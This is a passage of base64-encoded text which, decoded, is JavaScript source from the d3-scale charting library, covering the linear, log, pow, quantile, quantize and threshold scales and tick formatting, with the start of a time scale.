1dHB1dCB8fCAob3V0cHV0ID0gcGllY2V3aXNlKGRvbWFpbiwgcmFuZ2UsIGNsYW1wID8gZGVpbnRlcnBvbGF0ZUNsYW1wKGRlaW50ZXJwb2xhdGUkJCkgOiBkZWludGVycG9sYXRlJCQsIGludGVycG9sYXRlKSkpKCt4KTtcbiAgICB9XG5cbiAgICBzY2FsZS5pbnZlcnQgPSBmdW5jdGlvbih5KSB7XG4gICAgICByZXR1cm4gKGlucHV0IHx8IChpbnB1dCA9IHBpZWNld2lzZShyYW5nZSwgZG9tYWluLCBkZWludGVycG9sYXRlLCBjbGFtcCA/IHJlaW50ZXJwb2xhdGVDbGFtcChyZWludGVycG9sYXRlKSA6IHJlaW50ZXJwb2xhdGUpKSkoK3kpO1xuICAgIH07XG5cbiAgICBzY2FsZS5kb21haW4gPSBmdW5jdGlvbihfKSB7XG4gICAgICByZXR1cm4gYXJndW1lbnRzLmxlbmd0aCA/IChkb21haW4gPSBtYXAkMS5jYWxsKF8sIG51bWJlciksIHJlc2NhbGUoKSkgOiBkb21haW4uc2xpY2UoKTtcbiAgICB9O1xuXG4gICAgc2NhbGUucmFuZ2UgPSBmdW5jdGlvbihfKSB7XG4gICAgICByZXR1cm4gYXJndW1lbnRzLmxlbmd0aCA/IChyYW5nZSA9IHNsaWNlLmNhbGwoXyksIHJlc2NhbGUoKSkgOiByYW5nZS5zbGljZSgpO1xuICAgIH07XG5cbiAgICBzY2FsZS5yYW5nZVJvdW5kID0gZnVuY3Rpb24oXykge1xuICAgICAgcmV0dXJuIHJhbmdlID0gc2xpY2UuY2FsbChfKSwgaW50ZXJwb2xhdGUgPSBkM0ludGVycG9sYXRlLmludGVycG9sYXRlUm91bmQsIHJlc2NhbGUoKTtcbiAgICB9O1xuXG4gICAgc2NhbGUuY2xhbXAgPSBmdW5jdGlvbihfKSB7XG4gICAgICByZXR1cm4gYXJndW1lbnRzLmxlbmd0aCA/IChjbGFtcCA9ICEhXywgcmVzY2FsZSgpKSA6IGNsYW1wO1xuICAgIH07XG5cbiAgICBzY2FsZS5pbnRlcnBvbGF0ZSA9IGZ1bmN0aW9uKF8pIHtcbiAgICAgIHJldHVybiBhcmd1bWVudHMubGVuZ3RoID8gKGludGVycG9sYXRlID0gXywgcmVzY2FsZSgpKSA6IGludGVycG9sYXRlO1xuICAgIH07XG5cbiAgICByZXR1cm4gcmVzY2FsZSgpO1xuICB9XG5cbiAgZnVuY3Rpb24gdGlja0Zvcm1hdChkb21haW4sIGNvdW50LCBzcGVjaWZpZXIpIHtcbiAgICB2YXIgc3RhcnQgPSBkb21haW5bMF0sXG4gICAgICAgIHN0b3AgPSBkb21haW5bZG9tYWluLmxlbmd0aCAtIDFdLFxuICAgICAgICBzdGVwID0gZDNBcnJheS50aWNrU3RlcChzdGFydCwgc3RvcCwgY291bnQgPT0gbnVsbCA/IDEwIDogY291bnQpLFxuICAgICAgICBwcmVjaXNpb247XG4gICAgc3BlY2lmaWVyID0gZDNGb3JtYXQuZm9ybWF0U3BlY2lmaWVyKHNwZWNpZmllciA9PSBudWxsID8gXCIsZlwiIDogc3BlY2lmaWVyKTtcbiAgICBzd2l0Y2ggKHNwZWNpZmllci50eXBlKSB7XG4gICAgICBjYXNlIFwic1wiOiB7XG4gICAgICAgIHZhciB2YWx1ZSA9IE1hdGgubWF4KE1hdGguYWJzKHN0YXJ0KSwgTWF0aC5hYnMoc3RvcCkpO1xuICAgICAgICBpZiAoc3BlY2lmaWVyLnByZWNpc2lvbiA9PSBudWxsICYmICFpc05hTihwcmVjaXNpb24gPSBkM0Zvcm1hdC5wcmVjaXNpb25QcmVmaXgoc3RlcCwgdmFsdWUpKSkgc3BlY2lmaWVyLnByZWNpc2lvbiA9IHByZWNpc2lvbjtcbiAgICAgICAgcmV0dXJuIGQzRm9ybWF0LmZvcm1hdFByZWZpeChzcGVjaWZpZXIsIHZhbHVlKTtcbiAgICAgIH1cbiAgICAgIGNhc2UgXCJcIjpcbiAgICAgIGNhc2UgXCJlXCI6XG4gICAgICBjYXNlIFwiZ1wiOlxuICAgICAgY2FzZSBcInBcIjpcbiAgICAgIGNhc2UgXCJyXCI6IHtcbiAgICAgICAgaWYgKHNwZWNpZmllci5wcmVjaXNpb24gPT0gbnVsbCAmJiAhaXNOYU4ocHJlY2lzaW9uID0gZDNGb3JtYXQucHJlY2lzaW9uUm91bmQoc3RlcCwgTWF0aC5tYXgoTWF0aC5hYnMoc3RhcnQpLCBNYXRoLmFicyhzdG9wKSkpKSkgc3BlY2lmaWVyLnByZWNpc2lvbiA9IHByZWNpc2lvbiAtIChzcGVjaWZpZXIudHlwZSA9PT0gXCJlXCIpO1xuICAgICAgICBicmVhaztcbiAgICAgIH1cbiAgICAgIGNhc2UgXCJmXCI6XG4gICAgICBjYXNlIFwiJVwiOiB7XG4gICAgICAgIGlmIChzcGVjaWZpZXIucHJlY2lzaW9uID09IG51bGwgJiYgIWlzTmFOKHByZWNpc2lvbiA9IGQzRm9ybWF0LnByZWNpc2lvbkZpeGVkKHN0ZXApKSkgc3BlY2lmaWVyLnByZWNpc2lvbiA9IHByZWNpc2lvbiAtIChzcGVjaWZpZXIudHlwZSA9PT0gXCIlXCIpICogMjtcbiAgICAgICAgYnJlYWs7XG4gICAgICB9XG4gICAgfVxuICAgIHJldHVybiBkM0Zvcm1hdC5mb3JtYXQoc3BlY2lmaWVyKTtcbiAgfVxuXG4gIGZ1bmN0aW9uIGxpbmVhcmlzaChzY2FsZSkge1xuICAgIHZhciBkb21haW4gPSBzY2FsZS5kb21haW47XG5cbiAgICBzY2FsZS50aWNrcyA9IGZ1bmN0aW9uKGNvdW50KSB7XG4gICAgICB2YXIgZCA9IGRvbWFpbigpO1xuICAgICAgcmV0dXJuIGQzQXJyYXkudGlja3MoZFswXSwgZFtkLmxlbmd0aCAtIDFdLCBjb3VudCA9PSBudWxsID8gMTAgOiBjb3VudCk7XG4gICAgfTtcblxuICAgIHNjYWxlLnRpY2tGb3JtYXQgPSBmdW5jdGlvbihjb3VudCwgc3BlY2lmaWVyKSB7XG4gICAgICByZXR1cm4gdGlja0Zvcm1hdChkb21haW4oKSwgY291bnQsIHNwZWNpZmllcik7XG4gICAgfTtcblxuICAgIHNjYWxlLm5pY2UgPSBmdW5jdGlvbihjb3VudCkge1xuICAgICAgdmFyIGQgPSBkb21haW4oKSxcbiAgICAgICAgICBpID0gZC5sZW5ndGggLSAxLFxuICAgICAgICAgIG4gPSBjb3VudCA9PSBudWxsID8gMTAgOiBjb3VudCxcbiAgICAgICAgICBzdGFydCA9IGRbMF0sXG4gICAgICAgICAgc3RvcCA9IGRbaV0sXG4gICAgICAgICAgc3RlcCA9IGQzQXJyYXkudGlja1N0ZXAoc3RhcnQsIHN0b3AsIG4pO1xuXG4gICAgICBpZiAoc3RlcCkge1xuICAgICAgICBzdGVwID0gZDNBcnJheS50aWNrU3RlcChNYXRoLmZsb29yKHN0YXJ0IC8gc3RlcCkgKiBzdGVwLCBNYXRoLmNlaWwoc3RvcCAvIHN0ZXApICogc3RlcCwgbik7XG4gICAgICAgIGRbMF0gPSBNYXRoLmZsb29yKHN0YXJ0IC8gc3RlcCkgKiBzdGVwO1xuICAgICAgICBkW2ldID0gTWF0aC5jZWlsKHN0b3AgLyBzdGVwKSAqIHN0ZXA7XG4gICAgICAgIGRvbWFpbihkKTtcbiAgICAgIH1cblxuICAgICAgcmV0dXJuIHNjYWxlO1xuICAgIH07XG5cbiAgICByZXR1cm4gc2NhbGU7XG4gIH1cblxuICBmdW5jdGlvbiBsaW5lYXIoKSB7XG4gICAgdmFyIHNjYWxlID0gY29udGludW91cyhkZWludGVycG9sYXRlLCBkM0ludGVycG9sYXRlLmludGVycG9sYXRlTnVtYmVyKTtcblxuICAgIHNjYWxlLmNvcHkgPSBmdW5jdGlvbigpIHtcbiAgICAgIHJldHVybiBjb3B5KHNjYWxlLCBsaW5lYXIoKSk7XG4gICAgfTtcblxuICAgIHJldHVybiBsaW5lYXJpc2goc2NhbGUpO1xuICB9XG5cbiAgZnVuY3Rpb24gaWRlbnRpdHkoKSB7XG4gICAgdmFyIGRvbWFpbiA9IFswLCAxXTtcblxuICAgIGZ1bmN0aW9uIHNjYWxlKHgpIHtcbiAgICAgIHJldHVybiAreDtcbiAgICB9XG5cbiAgICBzY2FsZS5pbnZlcnQgPSBzY2FsZTtcblxuICAgIHNjYWxlLmRvbWFpbiA9IHNjYWxlLnJhbmdlID0gZnVuY3Rpb24oXykge1xuICAgICAgcmV0dXJuIGFyZ3VtZW50cy5sZW5ndGggPyAoZG9tYWluID0gbWFwJDEuY2FsbChfLCBudW1iZXIpLCBzY2FsZSkgOiBkb21haW4uc2xpY2UoKTtcbiAgICB9O1xuXG4gICAgc2NhbGUuY29weSA9IGZ1bmN0aW9uKCkge1xuICAgICAgcmV0dXJuIGlkZW50aXR5KCkuZG9tYWluKGRvbWFpbik7XG4gICAgfTtcblxuICAgIHJldHVybiBsaW5lYXJpc2goc2NhbGUpO1xuICB9XG5cbiAgZnVuY3Rpb24gbmljZShkb21haW4sIGludGVydmFsKSB7XG4gICAgZG9tYWluID0gZG9tYWluLnNsaWNlKCk7XG5cbiAgICB2YXIgaTAgPSAwLFxuICAgICAgICBpMSA9IGRvbWFpbi5sZW5ndGggLSAxLFxuICAgICAgICB4MCA9IGRvbWFpbltpMF0sXG4gICAgICAgIHgxID0gZG9tYWluW2kxXSxcbiAgICAgICAgdDtcblxuICAgIGlmICh4MSA8IHgwKSB7XG4gICAgICB0ID0gaTAsIGkwID0gaTEsIGkxID0gdDtcbiAgICAgIHQgPSB4MCwgeDAgPSB4MSwgeDEgPSB0O1xuICAgIH1cblxuICAgIGRvbWFpbltpMF0gPSBpbnRlcnZhbC5mbG9vcih4MCk7XG4gICAgZG9tYWluW2kxXSA9IGludGVydmFsLmNlaWwoeDEpO1xuICAgIHJldHVybiBkb21haW47XG4gIH1cblxuICBmdW5jdGlvbiBkZWludGVycG9sYXRlJDEoYSwgYikge1xuICAgIHJldHVybiAoYiA9IE1hdGgubG9nKGIgLyBhKSlcbiAgICAgICAgPyBmdW5jdGlvbih4KSB7IHJldHVybiBNYXRoLmxvZyh4IC8gYSkgLyBiOyB9XG4gICAgICAgIDogY29uc3RhbnQoYik7XG4gIH1cblxuICBmdW5jdGlvbiByZWludGVycG9sYXRlKGEsIGIpIHtcbiAgICByZXR1cm4gYSA8IDBcbiAgICAgICAgPyBmdW5jdGlvbih0KSB7IHJldHVybiAtTWF0aC5wb3coLWIsIHQpICogTWF0aC5wb3coLWEsIDEgLSB0KTsgfVxuICAgICAgICA6IGZ1bmN0aW9uKHQpIHsgcmV0dXJuIE1hdGgucG93KGIsIHQpICogTWF0aC5wb3coYSwgMSAtIHQpOyB9O1xuICB9XG5cbiAgZnVuY3Rpb24gcG93MTAoeCkge1xuICAgIHJldHVybiBpc0Zpbml0ZSh4KSA/ICsoXCIxZVwiICsgeCkgOiB4IDwgMCA/IDAgOiB4O1xuICB9XG5cbiAgZnVuY3Rpb24gcG93cChiYXNlKSB7XG4gICAgcmV0dXJuIGJhc2UgPT09IDEwID8gcG93MTBcbiAgICAgICAgOiBiYXNlID09PSBNYXRoLkUgPyBNYXRoLmV4cFxuICAgICAgICA6IGZ1bmN0aW9uKHgpIHsgcmV0dXJuIE1hdGgucG93KGJhc2UsIHgpOyB9O1xuICB9XG5cbiAgZnVuY3Rpb24gbG9ncChiYXNlKSB7XG4gICAgcmV0dXJuIGJhc2UgPT09IE1hdGguRSA/IE1hdGgubG9nXG4gICAgICAgIDogYmFzZSA9PT0gMTAgJiYgTWF0aC5sb2cxMFxuICAgICAgICB8fCBiYXNlID09PSAyICYmIE1hdGgubG9nMlxuICAgICAgICB8fCAoYmFzZSA9IE1hdGgubG9nKGJhc2UpLCBmdW5jdGlvbih4KSB7IHJldHVybiBNYXRoLmxvZyh4KSAvIGJhc2U7IH0pO1xuICB9XG5cbiAgZnVuY3Rpb24gcmVmbGVjdChmKSB7XG4gICAgcmV0dXJuIGZ1bmN0aW9uKHgpIHtcbiAgICAgIHJldHVybiAtZigteCk7XG4gICAgfTtcbiAgfVxuXG4gIGZ1bmN0aW9uIGxvZygpIHtcbiAgICB2YXIgc2NhbGUgPSBjb250aW51b3VzKGRlaW50ZXJwb2xhdGUkMSwgcmVpbnRlcnBvbGF0ZSkuZG9tYWluKFsxLCAxMF0pLFxuICAgICAgICBkb21haW4gPSBzY2FsZS5kb21haW4sXG4gICAgICAgIGJhc2UgPSAxMCxcbiAgICAgICAgbG9ncyA9IGxvZ3AoMTApLFxuICAgICAgICBwb3dzID0gcG93cCgxMCk7XG5cbiAgICBmdW5jdGlvbiByZXNjYWxlKCkge1xuICAgICAgbG9ncyA9IGxvZ3AoYmFzZSksIHBvd3MgPSBwb3dwKGJhc2UpO1xuICAgICAgaWYgKGRvbWFpbigpWzBdIDwgMCkgbG9ncyA9IHJlZmxlY3QobG9ncyksIHBvd3MgPSByZWZsZWN0KHBvd3MpO1xuICAgICAgcmV0dXJuIHNjYWxlO1xuICAgIH1cblxuICAgIHNjYWxlLmJhc2UgPSBmdW5jdGlvbihfKSB7XG4gICAgICByZXR1cm4gYXJndW1lbnRzLmxlbmd0aCA/IChiYXNlID0gK18sIHJlc2NhbGUoKSkgOiBiYXNlO1xuICAgIH07XG5cbiAgICBzY2FsZS5kb21haW4gPSBmdW5jdGlvbihfKSB7XG4gICAgICByZXR1cm4gYXJndW1lbnRzLmxlbmd0aCA/IChkb21haW4oXyksIHJlc2NhbGUoKSkgOiBkb21haW4oKTtcbiAgICB9O1xuXG4gICAgc2NhbGUudGlja3MgPSBmdW5jdGlvbihjb3VudCkge1xuICAgICAgdmFyIGQgPSBkb21haW4oKSxcbiAgICAgICAgICB1ID0gZFswXSxcbiAgICAgICAgICB2ID0gZFtkLmxlbmd0aCAtIDFdLFxuICAgICAgICAgIHI7XG5cbiAgICAgIGlmIChyID0gdiA8IHUpIGkgPSB1LCB1ID0gdiwgdiA9IGk7XG5cbiAgICAgIHZhciBpID0gbG9ncyh1KSxcbiAgICAgICAgICBqID0gbG9ncyh2KSxcbiAgICAgICAgICBwLFxuICAgICAgICAgIGssXG4gICAgICAgICAgdCxcbiAgICAgICAgICBuID0gY291bnQgPT0gbnVsbCA/IDEwIDogK2NvdW50LFxuICAgICAgICAgIHogPSBbXTtcblxuICAgICAgaWYgKCEoYmFzZSAlIDEpICYmIGogLSBpIDwgbikge1xuICAgICAgICBpID0gTWF0aC5yb3VuZChpKSAtIDEsIGogPSBNYXRoLnJvdW5kKGopICsgMTtcbiAgICAgICAgaWYgKHUgPiAwKSBmb3IgKDsgaSA8IGo7ICsraSkge1xuICAgICAgICAgIGZvciAoayA9IDEsIHAgPSBwb3dzKGkpOyBrIDwgYmFzZTsgKytrKSB7XG4gICAgICAgICAgICB0ID0gcCAqIGs7XG4gICAgICAgICAgICBpZiAodCA8IHUpIGNvbnRpbnVlO1xuICAgICAgICAgICAgaWYgKHQgPiB2KSBicmVhaztcbiAgICAgICAgICAgIHoucHVzaCh0KTtcbiAgICAgICAgICB9XG4gICAgICAgIH0gZWxzZSBmb3IgKDsgaSA8IGo7ICsraSkge1xuICAgICAgICAgIGZvciAoayA9IGJhc2UgLSAxLCBwID0gcG93cyhpKTsgayA+PSAxOyAtLWspIHtcbiAgICAgICAgICAgIHQgPSBwICogaztcbiAgICAgICAgICAgIGlmICh0IDwgdSkgY29udGludWU7XG4gICAgICAgICAgICBpZiAodCA+IHYpIGJyZWFrO1xuICAgICAgICAgICAgei5wdXNoKHQpO1xuICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgfSBlbHNlIHtcbiAgICAgICAgeiA9IGQzQXJyYXkudGlja3MoaSwgaiwgTWF0aC5taW4oaiAtIGksIG4pKS5tYXAocG93cyk7XG4gICAgICB9XG5cbiAgICAgIHJldHVybiByID8gei5yZXZlcnNlKCkgOiB6O1xuICAgIH07XG5cbiAgICBzY2FsZS50aWNrRm9ybWF0ID0gZnVuY3Rpb24oY291bnQsIHNwZWNpZmllcikge1xuICAgICAgaWYgKHNwZWNpZmllciA9PSBudWxsKSBzcGVjaWZpZXIgPSBiYXNlID09PSAxMCA/IFwiLjBlXCIgOiBcIixcIjtcbiAgICAgIGlmICh0eXBlb2Ygc3BlY2lmaWVyICE9PSBcImZ1bmN0aW9uXCIpIHNwZWNpZmllciA9IGQzRm9ybWF0LmZvcm1hdChzcGVjaWZpZXIpO1xuICAgICAgaWYgKGNvdW50ID09PSBJbmZpbml0eSkgcmV0dXJuIHNwZWNpZmllcjtcbiAgICAgIGlmIChjb3VudCA9PSBudWxsKSBjb3VudCA9IDEwO1xuICAgICAgdmFyIGsgPSBNYXRoLm1heCgxLCBiYXNlICogY291bnQgLyBzY2FsZS50aWNrcygpLmxlbmd0aCk7IC8vIFRPRE8gZmFzdCBlc3RpbWF0ZT9cbiAgICAgIHJldHVybiBmdW5jdGlvbihkKSB7XG4gICAgICAgIHZhciBpID0gZCAvIHBvd3MoTWF0aC5yb3VuZChsb2dzKGQpKSk7XG4gICAgICAgIGlmIChpICogYmFzZSA8IGJhc2UgLSAwLjUpIGkgKj0gYmFzZTtcbiAgICAgICAgcmV0dXJuIGkgPD0gayA/IHNwZWNpZmllcihkKSA6IFwiXCI7XG4gICAgICB9O1xuICAgIH07XG5cbiAgICBzY2FsZS5uaWNlID0gZnVuY3Rpb24oKSB7XG4gICAgICByZXR1cm4gZG9tYWluKG5pY2UoZG9tYWluKCksIHtcbiAgICAgICAgZmxvb3I6IGZ1bmN0aW9uKHgpIHsgcmV0dXJuIHBvd3MoTWF0aC5mbG9vcihsb2dzKHgpKSk7IH0sXG4gICAgICAgIGNlaWw6IGZ1bmN0aW9uKHgpIHsgcmV0dXJuIHBvd3MoTWF0aC5jZWlsKGxvZ3MoeCkpKTsgfVxuICAgICAgfSkpO1xuICAgIH07XG5cbiAgICBzY2FsZS5jb3B5ID0gZnVuY3Rpb24oKSB7XG4gICAgICByZXR1cm4gY29weShzY2FsZSwgbG9nKCkuYmFzZShiYXNlKSk7XG4gICAgfTtcblxuICAgIHJldHVybiBzY2FsZTtcbiAgfVxuXG4gIGZ1bmN0aW9uIHJhaXNlKHgsIGV4cG9uZW50KSB7XG4gICAgcmV0dXJuIHggPCAwID8gLU1hdGgucG93KC14LCBleHBvbmVudCkgOiBNYXRoLnBvdyh4LCBleHBvbmVudCk7XG4gIH1cblxuICBmdW5jdGlvbiBwb3coKSB7XG4gICAgdmFyIGV4cG9uZW50ID0gMSxcbiAgICAgICAgc2NhbGUgPSBjb250aW51b3VzKGRlaW50ZXJwb2xhdGUsIHJlaW50ZXJwb2xhdGUpLFxuICAgICAgICBkb21haW4gPSBzY2FsZS5kb21haW47XG5cbiAgICBmdW5jdGlvbiBkZWludGVycG9sYXRlKGEsIGIpIHtcbiAgICAgIHJldHVybiAoYiA9IHJhaXNlKGIsIGV4cG9uZW50KSAtIChhID0gcmFpc2UoYSwgZXhwb25lbnQpKSlcbiAgICAgICAgICA/IGZ1bmN0aW9uKHgpIHsgcmV0dXJuIChyYWlzZSh4LCBleHBvbmVudCkgLSBhKSAvIGI7IH1cbiAgICAgICAgICA6IGNvbnN0YW50KGIpO1xuICAgIH1cblxuICAgIGZ1bmN0aW9uIHJlaW50ZXJwb2xhdGUoYSwgYikge1xuICAgICAgYiA9IHJhaXNlKGIsIGV4cG9uZW50KSAtIChhID0gcmFpc2UoYSwgZXhwb25lbnQpKTtcbiAgICAgIHJldHVybiBmdW5jdGlvbih0KSB7IHJldHVybiByYWlzZShhICsgYiAqIHQsIDEgLyBleHBvbmVudCk7IH07XG4gICAgfVxuXG4gICAgc2NhbGUuZXhwb25lbnQgPSBmdW5jdGlvbihfKSB7XG4gICAgICByZXR1cm4gYXJndW1lbnRzLmxlbmd0aCA/IChleHBvbmVudCA9ICtfLCBkb21haW4oZG9tYWluKCkpKSA6IGV4cG9uZW50O1xuICAgIH07XG5cbiAgICBzY2FsZS5jb3B5ID0gZnVuY3Rpb24oKSB7XG4gICAgICByZXR1cm4gY29weShzY2FsZSwgcG93KCkuZXhwb25lbnQoZXhwb25lbnQpKTtcbiAgICB9O1xuXG4gICAgcmV0dXJuIGxpbmVhcmlzaChzY2FsZSk7XG4gIH1cblxuICBmdW5jdGlvbiBzcXJ0KCkge1xuICAgIHJldHVybiBwb3coKS5leHBvbmVudCgwLjUpO1xuICB9XG5cbiAgZnVuY3Rpb24gcXVhbnRpbGUkMSgpIHtcbiAgICB2YXIgZG9tYWluID0gW10sXG4gICAgICAgIHJhbmdlID0gW10sXG4gICAgICAgIHRocmVzaG9sZHMgPSBbXTtcblxuICAgIGZ1bmN0aW9uIHJlc2NhbGUoKSB7XG4gICAgICB2YXIgaSA9IDAsIG4gPSBNYXRoLm1heCgxLCByYW5nZS5sZW5ndGgpO1xuICAgICAgdGhyZXNob2xkcyA9IG5ldyBBcnJheShuIC0gMSk7XG4gICAgICB3aGlsZSAoKytpIDwgbikgdGhyZXNob2xkc1tpIC0gMV0gPSBkM0FycmF5LnF1YW50aWxlKGRvbWFpbiwgaSAvIG4pO1xuICAgICAgcmV0dXJuIHNjYWxlO1xuICAgIH1cblxuICAgIGZ1bmN0aW9uIHNjYWxlKHgpIHtcbiAgICAgIGlmICghaXNOYU4oeCA9ICt4KSkgcmV0dXJuIHJhbmdlW2QzQXJyYXkuYmlzZWN0KHRocmVzaG9sZHMsIHgpXTtcbiAgICB9XG5cbiAgICBzY2FsZS5pbnZlcnRFeHRlbnQgPSBmdW5jdGlvbih5KSB7XG4gICAgICB2YXIgaSA9IHJhbmdlLmluZGV4T2YoeSk7XG4gICAgICByZXR1cm4gaSA8IDAgPyBbTmFOLCBOYU5dIDogW1xuICAgICAgICBpID4gMCA/IHRocmVzaG9sZHNbaSAtIDFdIDogZG9tYWluWzBdLFxuICAgICAgICBpIDwgdGhyZXNob2xkcy5sZW5ndGggPyB0aHJlc2hvbGRzW2ldIDogZG9tYWluW2RvbWFpbi5sZW5ndGggLSAxXVxuICAgICAgXTtcbiAgICB9O1xuXG4gICAgc2NhbGUuZG9tYWluID0gZnVuY3Rpb24oXykge1xuICAgICAgaWYgKCFhcmd1bWVudHMubGVuZ3RoKSByZXR1cm4gZG9tYWluLnNsaWNlKCk7XG4gICAgICBkb21haW4gPSBbXTtcbiAgICAgIGZvciAodmFyIGkgPSAwLCBuID0gXy5sZW5ndGgsIGQ7IGkgPCBuOyArK2kpIGlmIChkID0gX1tpXSwgZCAhPSBudWxsICYmICFpc05hTihkID0gK2QpKSBkb21haW4ucHVzaChkKTtcbiAgICAgIGRvbWFpbi5zb3J0KGQzQXJyYXkuYXNjZW5kaW5nKTtcbiAgICAgIHJldHVybiByZXNjYWxlKCk7XG4gICAgfTtcblxuICAgIHNjYWxlLnJhbmdlID0gZnVuY3Rpb24oXykge1xuICAgICAgcmV0dXJuIGFyZ3VtZW50cy5sZW5ndGggPyAocmFuZ2UgPSBzbGljZS5jYWxsKF8pLCByZXNjYWxlKCkpIDogcmFuZ2Uuc2xpY2UoKTtcbiAgICB9O1xuXG4gICAgc2NhbGUucXVhbnRpbGVzID0gZnVuY3Rpb24oKSB7XG4gICAgICByZXR1cm4gdGhyZXNob2xkcy5zbGljZSgpO1xuICAgIH07XG5cbiAgICBzY2FsZS5jb3B5ID0gZnVuY3Rpb24oKSB7XG4gICAgICByZXR1cm4gcXVhbnRpbGUkMSgpXG4gICAgICAgICAgLmRvbWFpbihkb21haW4pXG4gICAgICAgICAgLnJhbmdlKHJhbmdlKTtcbiAgICB9O1xuXG4gICAgcmV0dXJuIHNjYWxlO1xuICB9XG5cbiAgZnVuY3Rpb24gcXVhbnRpemUoKSB7XG4gICAgdmFyIHgwID0gMCxcbiAgICAgICAgeDEgPSAxLFxuICAgICAgICBuID0gMSxcbiAgICAgICAgZG9tYWluID0gWzAuNV0sXG4gICAgICAgIHJhbmdlID0gWzAsIDFdO1xuXG4gICAgZnVuY3Rpb24gc2NhbGUoeCkge1xuICAgICAgaWYgKHggPD0geCkgcmV0dXJuIHJhbmdlW2QzQXJyYXkuYmlzZWN0KGRvbWFpbiwgeCwgMCwgbildO1xuICAgIH1cblxuICAgIGZ1bmN0aW9uIHJlc2NhbGUoKSB7XG4gICAgICB2YXIgaSA9IC0xO1xuICAgICAgZG9tYWluID0gbmV3IEFycmF5KG4pO1xuICAgICAgd2hpbGUgKCsraSA8IG4pIGRvbWFpbltpXSA9ICgoaSArIDEpICogeDEgLSAoaSAtIG4pICogeDApIC8gKG4gKyAxKTtcbiAgICAgIHJldHVybiBzY2FsZTtcbiAgICB9XG5cbiAgICBzY2FsZS5kb21haW4gPSBmdW5jdGlvbihfKSB7XG4gICAgICByZXR1cm4gYXJndW1lbnRzLmxlbmd0aCA/ICh4MCA9ICtfWzBdLCB4MSA9ICtfWzFdLCByZXNjYWxlKCkpIDogW3gwLCB4MV07XG4gICAgfTtcblxuICAgIHNjYWxlLnJhbmdlID0gZnVuY3Rpb24oXykge1xuICAgICAgcmV0dXJuIGFyZ3VtZW50cy5sZW5ndGggPyAobiA9IChyYW5nZSA9IHNsaWNlLmNhbGwoXykpLmxlbmd0aCAtIDEsIHJlc2NhbGUoKSkgOiByYW5nZS5zbGljZSgpO1xuICAgIH07XG5cbiAgICBzY2FsZS5pbnZlcnRFeHRlbnQgPSBmdW5jdGlvbih5KSB7XG4gICAgICB2YXIgaSA9IHJhbmdlLmluZGV4T2YoeSk7XG4gICAgICByZXR1cm4gaSA8IDAgPyBbTmFOLCBOYU5dXG4gICAgICAgICAgOiBpIDwgMSA/IFt4MCwgZG9tYWluWzBdXVxuICAgICAgICAgIDogaSA+PSBuID8gW2RvbWFpbltuIC0gMV0sIHgxXVxuICAgICAgICAgIDogW2RvbWFpbltpIC0gMV0sIGRvbWFpbltpXV07XG4gICAgfTtcblxuICAgIHNjYWxlLmNvcHkgPSBmdW5jdGlvbigpIHtcbiAgICAgIHJldHVybiBxdWFudGl6ZSgpXG4gICAgICAgICAgLmRvbWFpbihbeDAsIHgxXSlcbiAgICAgICAgICAucmFuZ2UocmFuZ2UpO1xuICAgIH07XG5cbiAgICByZXR1cm4gbGluZWFyaXNoKHNjYWxlKTtcbiAgfVxuXG4gIGZ1bmN0aW9uIHRocmVzaG9sZCgpIHtcbiAgICB2YXIgZG9tYWluID0gWzAuNV0sXG4gICAgICAgIHJhbmdlID0gWzAsIDFdLFxuICAgICAgICBuID0gMTtcblxuICAgIGZ1bmN0aW9uIHNjYWxlKHgpIHtcbiAgICAgIGlmICh4IDw9IHgpIHJldHVybiByYW5nZVtkM0FycmF5LmJpc2VjdChkb21haW4sIHgsIDAsIG4pXTtcbiAgICB9XG5cbiAgICBzY2FsZS5kb21haW4gPSBmdW5jdGlvbihfKSB7XG4gICAgICByZXR1cm4gYXJndW1lbnRzLmxlbmd0aCA/IChkb21haW4gPSBzbGljZS5jYWxsKF8pLCBuID0gTWF0aC5taW4oZG9tYWluLmxlbmd0aCwgcmFuZ2UubGVuZ3RoIC0gMSksIHNjYWxlKSA6IGRvbWFpbi5zbGljZSgpO1xuICAgIH07XG5cbiAgICBzY2FsZS5yYW5nZSA9IGZ1bmN0aW9uKF8pIHtcbiAgICAgIHJldHVybiBhcmd1bWVudHMubGVuZ3RoID8gKHJhbmdlID0gc2xpY2UuY2FsbChfKSwgbiA9IE1hdGgubWluKGRvbWFpbi5sZW5ndGgsIHJhbmdlLmxlbmd0aCAtIDEpLCBzY2FsZSkgOiByYW5nZS5zbGljZSgpO1xuICAgIH07XG5cbiAgICBzY2FsZS5pbnZlcnRFeHRlbnQgPSBmdW5jdGlvbih5KSB7XG4gICAgICB2YXIgaSA9IHJhbmdlLmluZGV4T2YoeSk7XG4gICAgICByZXR1cm4gW2RvbWFpbltpIC0gMV0sIGRvbWFpbltpXV07XG4gICAgfTtcblxuICAgIHNjYWxlLmNvcHkgPSBmdW5jdGlvbigpIHtcbiAgICAgIHJldHVybiB0aHJlc2hvbGQoKVxuICAgICAgICAgIC5kb21haW4oZG9tYWluKVxuICAgICAgICAgIC5yYW5nZShyYW5nZSk7XG4gICAgfTtcblxuICAgIHJldHVybiBzY2FsZTtcbiAgfVxuXG4gIHZhciBkdXJhdGlvblNlY29uZCA9IDEwMDA7XG4gIHZhciBkdXJhdGlvbk1pbnV0ZSA9IGR1cmF0aW9uU2Vjb25kICogNjA7XG4gIHZhciBkdXJhdGlvbkhvdXIgPSBkdXJhdGlvbk1pbnV0ZSAqIDYwO1xuICB2YXIgZHVyYXRpb25EYXkgPSBkdXJhdGlvbkhvdXIgKiAyNDtcbiAgdmFyIGR1cmF0aW9uV2VlayA9IGR1cmF0aW9uRGF5ICogNztcbiAgdmFyIGR1cmF0aW9uTW9udGggPSBkdXJhdGlvbkRheSAqIDMwO1xuICB2YXIgZHVyYXRpb25ZZWFyID0gZHVyYXRpb25EYXkgKiAzNjU7XG4gIGZ1bmN0aW9uIGRhdGUodCkge1xuICAgIHJldHVybiBuZXcgRGF0ZSh0KTtcbiAgfVxuXG4gIGZ1bmN0aW9uIG51bWJlciQxKHQpIHtcbiAgICByZXR1cm4gdCBpbnN0YW5jZW9mIERhdGUgPyArdCA6ICtuZXcgRGF0ZSgrdCk7XG4gIH1cblxuICBmdW5jdGlvbiBjYWxlbmRhcih5ZWFyLCBtb250aCwgd2VlaywgZGF5LCBob3VyLCBtaW51dGUsIHNlY29uZCwgbWlsbGlzZWNvbmQsIGZvcm1hdCkge1xuICAgIHZhciBzY2FsZSA9IGNvbnRpbnVvdXMoZGVpbnRlcnBvbGF0ZSwgZDNJbnRlcnBvbGF0ZS5pbnRlcnBvbGF0